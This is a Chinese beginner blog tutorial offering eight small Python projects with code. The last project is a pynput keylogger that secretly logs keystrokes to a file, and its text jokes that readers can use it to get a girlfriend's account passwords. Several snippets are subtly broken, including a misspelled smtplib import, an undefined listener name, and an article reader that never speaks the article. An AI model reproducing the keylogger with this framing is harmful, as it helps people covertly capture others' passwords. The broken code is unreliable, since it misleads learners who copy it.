当前位置:   article > 正文

python简单的新手项目,python完全新手教程_python新人项目实战教程

python新人项目实战教程

这篇文章主要介绍了python简单的新手项目,具有一定借鉴价值,需要的朋友可以参考下。希望大家阅读完这篇文章后大有收获,下面让小编带着大家一起了解一下。

今天给大家分享的,是一些实战练习的小案例,如果你还是Python小白,可以再看看我前面几篇文章,如果是有了一点基础,那就尝试完成下面这些案例吧!

一、自动发送邮件

用Python编写一个可以发送电子邮件的脚本。

提示:email库可用于发送电子邮件python编程代码复制

  1. import smtplib
  2. from email.message import EmailMessage
  3. email = EmailMessage() ## Creating a object for EmailMessage
  4. email['from'] = 'xyz name' ## Person who is sending
  5. email['to'] = 'xyz id' ## Whom we are sending
  6. email['subject'] = 'xyz subject' ## Subject of email
  7. email.set_content("Xyz content of email") ## content of email
  8. with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:
  9. ## sending request to server
  10. smtp.ehlo() ## server object
  11. smtp.starttls() ## used to send data between server and client
  12. smtp.login("email_id","Password") ## login id and password of gmail
  13. smtp.send_message(email) ## Sending email
  14. print("email send") ## Printing success message

二、Hangman(猜单词的游戏)

用Python创建一个简单的hangman猜单词游戏。

提示:创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示,让用户猜单词,如果用户猜对了,则将用单词替换掉“”。

  1. import time
  2. import random
  3. name = input("What is your name? ")
  4. print ("Hello, " + name, "Time to play hangman!")
  5. time.sleep(1)
  6. print ("Start guessing...\n")
  7. time.sleep(0.5)
  8. ## A List Of Secret Words
  9. words = ['python','programming','treasure','creative','medium','horror']
  10. word = random.choice(words)
  11. guesses = ''
  12. turns = 5
  13. while turns > 0:
  14. failed = 0
  15. for char in word:
  16. if char in guesses:
  17. print (char,end="")
  18. else:
  19. print ("_",end=""),
  20. failed += 1
  21. if failed == 0:
  22. print ("\nYou won")
  23. break
  24. guess = input("\nguess a character:")
  25. guesses += guess
  26. if guess not in word:
  27. turns -= 1
  28. print("\nWrong")
  29. print("\nYou have", + turns, 'more guesses')
  30. if turns == 0:
  31. print ("\nYou Lose")

三、闹钟

用Python编写一个创建闹钟的脚本。

提示:用date-time模块创建闹钟,然后用playsound库播放声音。

  1. from datetime import datetime
  2. from playsound import playsound
  3. alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
  4. alarm_hour=alarm_time[0:2]
  5. alarm_minute=alarm_time[3:5]
  6. alarm_seconds=alarm_time[6:8]
  7. alarm_period = alarm_time[9:11].upper()
  8. print("Setting up alarm..")
  9. while True:
  10. now = datetime.now()
  11. current_hour = now.strftime("%I")
  12. current_minute = now.strftime("%M")
  13. current_seconds = now.strftime("%S")
  14. current_period = now.strftime("%p")
  15. if(alarm_period==current_period):
  16. if(alarm_hour==current_hour):
  17. if(alarm_minute==current_minute):
  18. if(alarm_seconds==current_seconds):
  19. print("Wake Up!")
  20. playsound('audio.mp3') ## download the alarm sound from link
  21. break

四、石头剪刀布游戏

创建一个石头剪刀布的游戏,游戏者与与计算机PK。如果游戏者赢了,得分就会添加,看谁最终的得分最高。

提示:先判断游戏者的选择,然后与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜,则增加1分。

  1. import random
  2. choices = ["Rock", "Paper", "Scissors"]
  3. computer = random.choice(choices)
  4. player = False
  5. cpu_score = 0
  6. player_score = 0
  7. while True:
  8. player = input("Rock, Paper or Scissors?").capitalize()
  9. # 判断电脑与游戏者的选择
  10. if player == computer:
  11. print("Tie!")
  12. elif player == "Rock":
  13. if computer == "Paper":
  14. print("You lose!", computer, "covers", player)
  15. cpu_score+=1
  16. else:
  17. print("You win!", player, "smashes", computer)
  18. player_score+=1
  19. elif player == "Paper":
  20. if computer == "Scissors":
  21. print("You lose!", computer, "cut", player)
  22. cpu_score+=1
  23. else:
  24. print("You win!", player, "covers", computer)
  25. player_score+=1
  26. elif player == "Scissors":
  27. if computer == "Rock":
  28. print("You lose...", computer, "smashes", player)
  29. cpu_score+=1
  30. else:
  31. print("You win!", player, "cut", computer)
  32. player_score+=1
  33. elif player=='E':
  34. print("Final Scores:")
  35. print(f"CPU:{cpu_score}")
  36. print(f"Plaer:{player_score}")
  37. break
  38. else:
  39. print("That's not a valid play. Check your spelling!")
  40. computer = random.choice(choices)

五、提醒小工具

利用Python一个提醒小工具,在设定好的时间在桌面做提醒通知。

提示:跟踪提醒时间可以用Time模块,显示桌面通知可以用toastnotifier库。

安装:win10toast

  1. from win10toast import ToastNotifier
  2. import time
  3. toaster = ToastNotifier()
  4. try:
  5. print("Title of reminder")
  6. header = input()
  7. print("Message of reminder")
  8. text = input()
  9. print("In how many minutes?")
  10. time_min = input()
  11. time_min=float(time_min)
  12. except:
  13. header = input("Title of reminder\n")
  14. text = input("Message of remindar\n")
  15. time_min=float(input("In how many minutes?\n"))
  16. time_min = time_min * 60
  17. print("Setting up reminder..")
  18. time.sleep(2)
  19. print("all set!")
  20. time.sleep(time_min)
  21. toaster.show_toast(f"{header}",
  22. f"{text}",
  23. duration=10,
  24. threaded=True)
  25. while toaster.notification_active(): time.sleep(0.005)

六、文章朗读器

用Python编写一个脚本,实现自动从提供的链接读取文章的功能。

  1. import pyttsx3
  2. import requests
  3. from bs4 import BeautifulSoup
  4. url = str(input("Paste article url\n"))
  5. def content(url):
  6. res = requests.get(url)
  7. soup = BeautifulSoup(res.text,'html.parser')
  8. articles = []
  9. for i in range(len(soup.select('.p'))):
  10. article = soup.select('.p')[i].getText().strip()
  11. articles.append(article)
  12. contents = " ".join(articles)
  13. return contents
  14. engine = pyttsx3.init('sapi5')
  15. voices = engine.getProperty('voices')
  16. engine.setProperty('voice', voices[0].id)
  17. def speak(audio):
  18. engine.say(audio)
  19. engine.runAndWait()
  20. contents = content(url)
  21. ## print(contents) ## In case you want to see the content
  22. #engine.save_to_file
  23. #engine.runAndWait() ## In case if you want to save the article as a audio file

七、短网址生成器

用Python编写一个脚本,实现用API缩短指定URL的功能。

  1. from __future__ import with_statement
  2. import contextlib
  3. try:
  4. from urllib.parse import urlencode
  5. except ImportError:
  6. from urllib import urlencode
  7. try:
  8. from urllib.request import urlopen
  9. except ImportError:
  10. from urllib2 import urlopen
  11. import sys
  12. def make_tiny(url):
  13. request_url = ('http://tinyurl.com/api-create.php?' +
  14. urlencode({'url':url}))
  15. with contextlib.closing(urlopen(request_url)) as response:
  16. return response.read().decode('utf-8')
  17. def main():
  18. for tinyurl in map(make_tiny, sys.argv[1:]):
  19. print(tinyurl)
  20. if __name__ == '__main__':
  21. main()

八、键盘记录器

用Python编写一个脚本,实现将用户在键盘上按过的按键记录下来,并保存在一个文本文件中。

提示:控制键盘和鼠标的移动就不得不推荐pynput这个库了,它还可以用于制作键盘记录器,通过读取被按下的键,然后将它们保存在一个文本文件中。(咳咳,想知道女朋友的账号密码的可以好好学习下)

  1. from pynput.keyboard import Key, Controller,Listener
  2. import time
  3. keyboard = Controller()
  4. keys=[]
  5. def on_press(key):
  6. global keys
  7. #keys.append(str(key).replace("'",""))
  8. string = str(key).replace("'","")
  9. keys.append(string)
  10. main_string = "".join(keys)
  11. print(main_string)
  12. if len(main_string)>15:
  13. with open('keys.txt', 'a') as f:
  14. f.write(main_string)
  15. keys= []
  16. def on_release(key):
  17. if key == Key.esc:
  18. return False
  19. with listener(on_press=on_press,on_release=on_release) as listener:
  20. listener.join()

如果你想学python还不知道如何下手去学,如果你想学python苦于没有导师指导,如果你正在学python,但无法坚持下去,有困难也无人指导解答。小编给大家准备了一份Python学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂。

题外话

在此疾速成长的科技元年,编程就像是许多人通往无限可能世界的门票。而在编程语言的明星阵容中,Python就像是那位独领风 骚的超级巨星, 以其简洁易懂的语法和强大的功能,脱颖而出,成为全球最炙手可热的编程语言之一。


Python 的迅速崛起对整个行业来说都是极其有利的 ,但“人红是非多”,导致它平添了许许多多的批评,不过依旧挡不住它火爆的发展势头。

如果你对Python感兴趣,想要学习pyhton,这里给大家分享一份Python全套学习资料,都是我自己学习时整理的,希望可以帮到你,一起加油!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/839565
推荐阅读
相关标签